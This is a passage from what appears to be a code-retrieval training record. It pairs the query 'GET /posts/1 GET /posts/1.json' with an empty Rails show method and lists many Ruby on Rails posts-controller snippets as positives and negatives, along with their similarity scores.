"def index\n @posts = Post.all\n # Post.all returns all of the posts currently in the \n # database as an array of Post records that we store \n # in an instance variable called @posts.\n # http://guides.rubyonrails.org/active_record_querying.html\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n # The respond_to block handles both HTML and JSON calls \n # to this action. If you browse to \n # http://localhost:3000/posts.json, you’ll see a JSON \n # containing all of the posts. \n end",
"def show\n render json: @post, serializer: Api::V1::PostSerializer\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def index\n @posts = PostService.getAllPosts\n end",
"def show\n respond_to do |format|\n format.html\n format.json { render jsonapi: @post }\n end\n end",
"def index\n #@posts = Post.all\n @posts = Post.paginate( :page => params[:page],\n :per_page => 2\n )\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def show\n @post = Post.where(:id => params[:id]).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def index\n\t@posts = list_posts\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n #format.json { render json: @post }\n format.json do\n render :json => @post.to_json(:only => [:id, :title, :text, :lat, :lng, :created_at, :post_type, :likes], \n :methods => [:image_url, :video_url], \n :include => [:comments])\n end\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n format.xml { render xml: @posts }\n end\n end",
"def posts_list\n posts = Post.all.published.order(score: :desc, created_at: :desc)\n post_tags = Post.published.order(score: :desc, created_at: :desc).map { |post| Post.includes(:tags, :taggings).find_by(id: post.id).tags }\n categories = Category.all\n tags = Tag.all\n\n render_json(posts: posts, categories: categories, tags: tags, post_tags: post_tags)\n end",
"def index\n @posts = Post.all.order_by([:date_published, :desc]).page(params[:page]).per(20)\n #authorize! if cannot? :read, @posts\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def show\n @post ||= Mist::Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def index\n page = params[:page]\n per_page = params[:per_page]\n\n posts = Post.order(published_at: :desc).page(page).per(per_page)\n\n # Передаём в заголовке общее количество страниц и записей.\n response.headers['Total-Pages'] = posts.total_pages\n response.headers['Total-Count'] = posts.total_count\n\n render json: posts\n end",
"def index\n render json: Post.all.order(id: :desc), each_serializer: V1::Posts::PostSerializer\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @post }\n format.xml { render xml: @posts }\n end\n end",
"def posts\n posts = @client.entries(content_type: 'post').items\n posts || []\n end",
"def show\n @post = Post.find(params[:id])\n \n respond_to do |format|\n format.html { render 'application/index' }\n format.json { render :json => { :post => @post.as_json } }\n end\n end",
"def show\r\n @post = root_post_of(Post.find(params[:id]))\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @post }\r\n end\r\n end",
"def index\n @posts = Post.order(created_at: :desc)\n respond_to do |format|\n format.html { render }\n format.text { render }\n format.xml { render xml: @posts }\n format.json { render json: @posts.to_json }\n end\n end",
"def index\n @art_posts = ArtPost.all\n\n render json: @art_posts\n end",
"def index\n per_page = params[:per_page] ? params[:per_page] : Post::PER_PAGE\n @posts = Post.by_published_date.paginate(page: params[:page], per_page: per_page)\n # Set count of posts and count of pages to query headers\n add_headers\n render json: @posts\n end",
"def show\n render json: {\n data: @post\n }\n end",
"def show\n @feed = Feed.find(params[:id])\n @posts = @feed.posts.order(\"published desc\").paginate(:page => params[:page], :per_page => 20)\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feed }\n end\n end",
"def index\n # TODO: implement listing all posts\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts, :include => :tags }\n end\n end",
"def list\n comments = Comment.where(post: @post)\n render json: comments, status: 200\n end",
"def show\n @post = current_user.posts.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def index\n\t \tif params[:title]\n\t\t render json: Post.search(params[:title])\n \t\telse\n\t \trender json: Post.all\n \tend\n\t end",
"def index\n unless can?(:manage, Post)\n @posts = @posts.published\n end\n \n respond_with @posts\n end",
"def index\n @posts = Post.all\n respond_with(@posts)\n end",
"def index\n @posts = Post.all.reverse\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n render json: current_user.posts.all\n # TODO order posts alphabetically\n end",
"def index\n @posts = Post.includes(:author, channel: [:posts]).order(created_at: :desc)\n @posts = @posts.where(channel: @channel) if params[:channel_id]\n @posts = @posts.page(params[:page])\n\n respond_to do |format|\n format.html\n format.json { render jsonapi: @posts }\n end\n end",
"def show\n #@post = Post.find(params[:id])\n\n #respond_to do |format|\n # format.html # show.html.erb\n #format.json { render json: @post }\n #end\n end",
"def index\n @page = params[:page] || 1\n @posts = @exchange.posts.page(@page, context: 0).for_view\n respond_to do |format|\n format.json do\n serializer = PostSerializer.new(\n @posts,\n links: { self: paginated_json_path(@posts.current_page),\n next: paginated_json_path(@posts.next_page),\n previous: paginated_json_path(@posts.previous_page) },\n include: %i[user]\n )\n render json: serializer.serialized_json\n end\n end\n end",
"def index\n @postos = Posto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @postos }\n end\n end",
"def show\n @post = Post.find(params[:id])\n render json: @post, meta: { status: :ok }, meta_key: 'result'\n end",
"def show\n # @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n # format.json { render json: @post }\n end\n end",
"def index\n @api_v1_posts = Api::V1::Post.all\n end",
"def index\n @posts = Post.order(\"created_at DESC\").where(:published => true).limit(5)\n @title = \"Home\"\n @description = \"the blog and website of bassist and programmer Johnny Grubb. no baseball information here.\"\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n format.xml\n end\n end",
"def index\n respond_with Post.all\n end"
] | [
"0.7865315",
"0.7494904",
"0.7494433",
"0.7494433",
"0.7488696",
"0.74314564",
"0.728645",
"0.728645",
"0.728645",
"0.72562826",
"0.72522277",
"0.7247287",
"0.7246305",
"0.72221965",
"0.72042215",
"0.72039723",
"0.7169929",
"0.71689725",
"0.71644753",
"0.7121855",
"0.71152896",
"0.7108617",
"0.70960873",
"0.7071454",
"0.7063796",
"0.70486146",
"0.7044637",
"0.7029959",
"0.69793427",
"0.6957234",
"0.6945899",
"0.6921306",
"0.6918641",
"0.6897198",
"0.689313",
"0.6890521",
"0.68769336",
"0.6876437",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6865055",
"0.6856369",
"0.6854135",
"0.68492866",
"0.6837785",
"0.6814047",
"0.67974555",
"0.67884254",
"0.6782457",
"0.6779375",
"0.6779375",
"0.6770256",
"0.67645854",
"0.6760845",
"0.6751376",
"0.6740988",
"0.6720944",
"0.6703801",
"0.66790265",
"0.6662053",
"0.6649574",
"0.66334385",
"0.6629263",
"0.66292495",
"0.6625863",
"0.6625277",
"0.6619148",
"0.6612677",
"0.6612347",
"0.659554",
"0.65946317",
"0.6584386",
"0.6583931",
"0.6578741",
"0.6564504",
"0.6556115",
"0.65437686",
"0.65419716",
"0.65410036",
"0.6528237",
"0.65246344",
"0.6520045",
"0.65119064",
"0.6511185",
"0.64960027",
"0.64946514",
"0.64891815",
"0.6476575",
"0.64645535",
"0.6463598"
] | 0.0 | -1 |
GET /posts/1 GET /posts/1.json | def show
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @posts = Post.find(params[:id])\n render json: @posts\n end",
"def show\n render json: Post.find(params[\"id\"])\n end",
"def show\r\n post = Post.find(params[:id])\r\n render json: post\r\n end",
"def show\n @post = Post.find(params[:id])\n\n render json: @post\n end",
"def show\n \trender json: Post.find(params[:id])\n end",
"def show\n post = Post.find(params[:id])\n render json: post\n end",
"def show\n\t \trender json: Post.find(params[:id])\n\t end",
"def show\n @post = Post.where(:id => params[:id]).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def index\n\n @posts = Post.all\n\n render json: @posts, status: 200\n end",
"def index\n @posts = Post.all\n render json: @posts\n end",
"def index\n @posts = Post.all\n\n render json: @posts\n end",
"def index\n @posts = Post.all\n\n render json: @posts\n end",
"def index\n @posts = Post.all\n render json: @posts\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def show\n @user = User.find(params[:user_id])\n @post = @user.posts.find(params[:id])\n\n render json: @post\n end",
"def index\n @posts = Post.all\n respond_to do |format|\n format.html #index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json {render json: @posts}\n end\n end",
"def index\n\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @posts }\n end\n end",
"def show\n \n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def index\n render json: { posts: Post.all }\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def index\n @posts = Post.order(\"created_at DESC\").includes(:user)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def show\n @post ||= Mist::Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def show\n # when you go to http://localhost:3000/posts/1, rails interprets this\n # as a call to the show action for the resource and passes 1 to the \n # :id paramater. Using this blog app you can do that by clicking the \n # show link for a post on the index page.\n\n @post = Post.find(params[:id])\n # The show action uses Post.find to search for a single record \n # in the database by its id value. After finding the record, Rails \n # displays it by using app/views/posts/show.html.erb\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n post = Post.find_by(id: params[:id])\n if post \n render json: post\n else\n render json: {errors: 'Not found'}\n end\n end",
"def index\n @posts = Mist::Post.recently_published(20, Mist.authorized?(:view_drafts, self))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @posts }\n end\n end",
"def index\n render json: Post.all\n end",
"def index\n @posts = Post.all.order(created_at: :asc)\n json_response(@posts)\n end",
"def index\n @posts = Post.all\n \n render json: @posts\n end",
"def show\n @post = Post.find(params[:id])\n \n respond_to do |format|\n format.html { render 'application/index' }\n format.json { render :json => { :post => @post.as_json } }\n end\n end",
"def show\n render json: @post, serializer: Api::V1::PostSerializer\n end",
"def show\n render json: @post\n end",
"def show\r\n @post = root_post_of(Post.find(params[:id]))\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @post }\r\n end\r\n end",
"def show\n @api_v2_post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @api_v2_post }\n end\n end",
"def show\n render json: @post\n end",
"def index\n @posts = Post.paginate(:page => params[:page], :per_page => 10).order('id DESC')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n format.atom\n end\n end",
"def index\n render json: Post.all.order(id: :desc), each_serializer: V1::Posts::PostSerializer\n end",
"def show\n render :json => @post\n end",
"def index\n # @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n # format.json { render json: @posts }\n end\n end",
"def index\n @api_v1_posts = Api::V1::Post.all\n end",
"def show\n @post = Post.find(params[:id])\n render json: @post, meta: { status: :ok }, meta_key: 'result'\n end",
"def show\n respond_to do |format|\n format.html\n format.json { render jsonapi: @post }\n end\n end",
"def show\n @posts = @game.posts.order(created_at: :desc).paginate(page: params[:page], per_page: 5)\n respond_to do |format|\n format.json { render template: 'api/games/game.json' }\n end\n end",
"def show\n @post = PostsService.getPostById(params[:id])\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @post }\n format.xml { render xml: @posts }\n end\n end",
"def index\n #@posts = Post.all\n @posts = Post.paginate( :page => params[:page],\n :per_page => 2\n )\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def index\n @posts = Post.all\n # Post.all returns all of the posts currently in the \n # database as an array of Post records that we store \n # in an instance variable called @posts.\n # http://guides.rubyonrails.org/active_record_querying.html\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n # The respond_to block handles both HTML and JSON calls \n # to this action. If you browse to \n # http://localhost:3000/posts.json, you’ll see a JSON \n # containing all of the posts. \n end",
"def index\n\n # We display the posts be cronological inverted order\n if authenticated?\n @posts = Post.order('created_at DESC').page(params[:page])\n else\n @posts = Post.order('created_at DESC').where(:status => :true).page(params[:page])\n end\n \n respond_to do |format|\n format.html { render html: @posts }\n format.json { render json: @posts }\n end\n end",
"def show\n @user = User.find(params[:id])\n @posts = @user.posts\n\n respond_to do |format|\n format.json { render json: {user: User._build(@user), posts: Post.build_posts(@posts)}, location: root_path }\n end\n end",
"def index\n\t\tgon.posts = Post.all.as_json\n\tend",
"def index\n @posts = Post.order(\"created_at DESC\").where(:published => true).limit(5)\n @title = \"Home\"\n @description = \"the blog and website of bassist and programmer Johnny Grubb. no baseball information here.\"\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n format.xml\n end\n end",
"def display_posts\n begin\n response = RestClient.get \"#{@@DOMAIN}/api/posts.json?all\", authorization_hash\n\n puts \"Response code: #{response.code}\"\n puts \"Response cookies:\\n #{response.cookies}\\n\\n\"\n puts \"Response headers:\\n #{response.headers}\\n\\n\"\n puts \"Response content:\\n #{response.to_str}\"\n\n js = JSON response.body\n js.each do |item_hash|\n item_hash.each do |k, v|\n puts \"#{k}: #{v}\"\n end\n end\n rescue => e\n puts STDERR, \"Error accessing REST service. Error: #{e}\"\n end\n end",
"def show\n #@post = Post.find(params[:id])\n\n #respond_to do |format|\n # format.html # show.html.erb\n #format.json { render json: @post }\n #end\n end",
"def index\n @posts = Post.all\n @posts = paginate(@posts)\n authorize @posts\n\n render json: @posts, each_serializer: Api::V1::PostSerializer, meta: meta_attributes(@posts)\n end",
"def index\n @posts = Post.find(:all)\n end",
"def show\n @post = current_user.posts.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def index\n render json: { posts: current_user.posts.all.map(&:to_h) }\n end",
"def show\n @feed = Feed.find(params[:id])\n @posts = @feed.posts.order(\"published desc\").paginate(:page => params[:page], :per_page => 20)\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feed }\n end\n end",
"def index\n\t@posts = list_posts\n end",
"def posts(opts)\n response = get(\"posts\", opts)\n response\n end",
"def show\n #GET a single post by ID\n @post = Post.find(params[:id])\n end",
"def show\n @post = Post.find(params[:id])\n @title = @post.title\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"def index\n # TODO: implement listing all posts\n end",
"def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n format.xml { render xml: @posts }\n end\n end",
"def show\n @blogpost = Blogpost.published.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blogpost }\n end\n end",
"def show\n # @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n # format.json { render json: @post }\n end\n end",
"def post(postid)\n request(:id => postid).posts.first\n end",
"def show\n Rails.logger.debug(\"Inside show \")\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n #format.json { render json: @post }\n format.json do\n render :json => @post.to_json(:only => [:id, :title, :text, :lat, :lng, :created_at, :post_type, :likes], \n :methods => [:image_url, :video_url], \n :include => [:comments])\n end\n end\n end",
"def show\n @posto = Posto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @posto }\n end\n end",
"def index\n @posts = Post.all.reverse\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"def display_post\n begin\n # asks the user for the post id\n print \"Enter the post ID: \"\n id = STDIN.gets.chomp\n response = RestClient.get \"#{@@DOMAIN}/api/posts/#{id}.json\", authorization_hash\n\n js = JSON response.body\n js.each do |k, v|\n puts \"#{k}: #{v}\"\n end\n rescue => e\n puts STDERR, \"Error accessing REST service. Error: #{e}\"\n end\n end",
"def index\n @posts = PostService.getAllPosts\n end",
"def show\n render json: {\n data: @post\n }\n end",
"def index\n @posts = Post.order(created_at: :desc)\n respond_to do |format|\n format.html { render }\n format.text { render }\n format.xml { render xml: @posts }\n format.json { render json: @posts.to_json }\n end\n end",
"def show\n @post = Post.find(params[:id])\n @videos = Video.get_for @post #where([\"post_id = ?\", params[:id]]).all\n @background = get_background_for @post #Background::DEFAULT #Background.where([\"post_id = ?\", params[:id]])\n @nav = get_navigation :for => 'post', :current => @post\n @menu = get_menu :for => 'post'\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def get(options = {})\n response= handle_errors { self.class.get('/get', :query => options)}\n if response[\"posts\"][\"post\"].is_a?(Hash)\n Rubycious::Post.new response[\"posts\"][\"post\"]\n elsif response[\"posts\"][\"post\"].is_a?(Array)\n response[\"posts\"][\"post\"].collect{|i| Rubycious::Post.new(i)}\n else\n nil\n end\n end",
"def show\n if !params[:id]\n @post = Post.find_by_title('Welcome')\n elsif params[:id] =~ /^[a-zA-Z ]+$/\n @post = Post.find_by_title(params[:id])\n else\n @post = Post.find(params[:id].to_i)\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"def show\n @blogpost = Blogpost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blogpost }\n end\n end",
"def show\n @blog_post = BlogPost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blog_post }\n end\n end",
"def index\n @post = Post.find_by_id(params[:post_id])\n if @post.nil?\n return render json: { error: \"Post not found\" }, status: :not_found\n end\n render json: @post.comments,status: 200\n end",
"def show\n @post2 = Post2.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post2 }\n end\n end"
] | [
"0.7710844",
"0.7353502",
"0.73427415",
"0.7337394",
"0.7322748",
"0.7292442",
"0.72757447",
"0.72560185",
"0.71621436",
"0.71594524",
"0.71558005",
"0.71558005",
"0.7119999",
"0.70952386",
"0.70952386",
"0.70952386",
"0.70939225",
"0.7072017",
"0.7061268",
"0.70457697",
"0.7031886",
"0.7019622",
"0.7019622",
"0.7019622",
"0.7019622",
"0.7019622",
"0.7019622",
"0.7019622",
"0.7019622",
"0.7019622",
"0.7019622",
"0.7019622",
"0.7019622",
"0.7019622",
"0.7019622",
"0.6989122",
"0.6955385",
"0.6955095",
"0.6955095",
"0.6938399",
"0.69364345",
"0.6924932",
"0.691693",
"0.6901971",
"0.690187",
"0.6896204",
"0.68943226",
"0.6875058",
"0.68602306",
"0.6852903",
"0.6852878",
"0.6847194",
"0.68361145",
"0.6824488",
"0.681028",
"0.68052614",
"0.67619365",
"0.6743924",
"0.6723011",
"0.6719329",
"0.67149675",
"0.67142653",
"0.66996825",
"0.6692955",
"0.66809577",
"0.66560477",
"0.6645981",
"0.6641222",
"0.66307056",
"0.6620857",
"0.6618785",
"0.6611854",
"0.66094804",
"0.66026205",
"0.6596445",
"0.6596142",
"0.6592318",
"0.658669",
"0.6583155",
"0.65824896",
"0.657624",
"0.6574369",
"0.6569375",
"0.6566304",
"0.655514",
"0.6537117",
"0.6525456",
"0.6513671",
"0.6513576",
"0.6498013",
"0.64975256",
"0.64940566",
"0.64907646",
"0.6473173",
"0.6472798",
"0.6466517",
"0.6454887",
"0.6452283",
"0.6447723",
"0.64456236",
"0.6428268"
] | 0.0 | -1 |
POST /posts POST /posts.json | def create
@post = Post.new(post_params)
respond_to do |format|
if @post.save
format.html { redirect_to @post, notice: "Post was successfully created. #{make_undo_link}" }
format.json { render :show, status: :created, location: @post }
else
format.html { render :new }
format.json { render json: @post.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n render json: Post.create(params[\"post\"])\n end",
"def create\n respond_with Post.create(params[:posts])\n end",
"def create\n @post = Post.create(post_params)\n render json: @post, serializer: PostSerializer\n end",
"def create\n @post = Post.new(post_params)\n @post.user = current_user\n\n if @post.save\n render json: @post, status: :created, location: api_v1_post_path(@post), serializer: Api::V1::PostSerializer\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def create\n @post = current_user.posts.new(post_params)\n\n if @post.save\n render json: {\n data: @post\n }\n else\n render json: {\n errors: @post.errors\n }\n end\n end",
"def create\n post = @current_user.posts.create(post_params)\n\n if post.save\n render json: post\n else\n render json: { errors: post.errors.full_messages }, status: :forbidden\n end\n end",
"def create\n title = params[:title]\n body = params[:body]\n\n @post = current_user.posts.create(title: title, body: body)\n\n if @post.save!\n json_response(@post)\n else\n json_response(@post.errors)\n end\n end",
"def create\n @post = Post.new({ :title => params[:post][:title] })\n \n respond_to do |format|\n if @post.save\n format.json { render :json => { :post => @post.as_json}, :status => :created, :location => @post }\n else\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.find(params[:user_id])\n @post = @user.posts.new(post_params)\n\n if @post.save\n render json: @post, status: :created, location: [@user, @post]\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def create\n @post = Post.new(post_params)\n\n if @post.save\n render json: {\n message: 'Post was successfully created.'\n }, status: :created\n else\n render json: {\n errors: @post.errors,\n message: 'Post could not be created.'\n }, status: :unprocessable_entity\n end\n end",
"def post(id, opts = {})\r\n uri = url_for(\"posts/#{id}\", opts)\r\n response = RestClient.get(uri)\r\n JSON.parse response\r\n end",
"def create\n\n\n @post = current_user.posts.build(post_params)\n\n if @post.save\n\n render json: \"Posted successfully\", status: 201\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def create\n @post = Post.new(params[:post])\n respond_to do |format|\n if @post.save\n format.json { render :json => @post }\n else\n format.json { render :json => @post.errors, :status => :unprocessable_entity}\n end\n end\n #respond_with Post.create(params[:post])\n end",
"def create\n\t\tpost = @current_user.posts.create(post_params) \n\t\tif post.save\n\t\trender json: {success: true, auth_token: @current_user.authentication_token, post_id: post.id}\n\t else\n\t render json: {success: false, errors: post.errors.full_messages, message: \"Validation failed\"}, status: 422\n\t\tend \n\tend",
"def create_posts\n end",
"def create_posts\n end",
"def create_post\n begin\n #asks the user for the title, body, and whether it should be anonymous\n print \"Title: \"\n title = STDIN.gets.chomp\n print \"Body: \"\n body = STDIN.gets.chomp\n print \"Post as Anonymous? (y/n): \"\n anonymous = STDIN.gets.chomp.upcase == 'Y' ? true : false\n # check user information from login\n\n # Rails will reject this unless you configure the cross_forgery_request check to\n # a null_session in the receiving controller. This is because we are not sending\n # an authenticity token. Rails by default will only send the token with forms /users/new and\n # /users/1/edit and REST clients don't get those.\n # We could perhaps arrange to send this on a previous\n # request but we would then have to have an initial call (a kind of login perhaps).\n # This will automatically send as a multi-part request because we are adding a\n # File object.\n response = RestClient.post \"#{@@DOMAIN}/api/posts.json\",\n\n {\n post: {\n title: title,\n body: body,\n anonymous: anonymous\n },\n }, authorization_hash\n\n if (response.code == 201)\n puts \"Created successfully\"\n end\n puts \"URL for new resource: #{response.headers[:location]}\"\n rescue => e\n puts STDERR, \"Error accessing REST service. Error: #{e}\"\n end\n end",
"def create\n @api_post = Api::Post.new(api_post_params)\n\n if @api_post.save\n render json: @api_post, status: :created, location: @api_post\n else\n render json: @api_post.errors, status: :unprocessable_entity\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.json { render :show, status: :created, location: @post }\n else\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \tif logged_in?\n params[:post][:user_id] = current_user.id\n @post = Post.new(post_params)\n if @post.save\n puts @post.published\n render json: @post\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end\n end",
"def create\n respond_with Post.create(post_params)\n end",
"def posts(opts)\n response = get(\"posts\", opts)\n response\n end",
"def post(*args)\n request(:post, *args)\n end",
"def post(*args)\n request :post, *args\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, notice: 'Post was successfully created.' }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @api_post = current_user.posts.new(api_post_params)\n if @api_post.save\n render :show\n else\n render json: @api_post.errors, status: :unprocessable_entity\n end\n end",
"def create\n authenticated\n\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new post_params\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n if @post.save\n render :show, status: :created, location: @post\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def create\n puts \"create post: #{post_params.inspect}\"\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n @title = \"Create New Post\"\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, :notice => 'Post was successfully created.' }\n format.json { render :json => @post, :status => :created, :location => @post }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
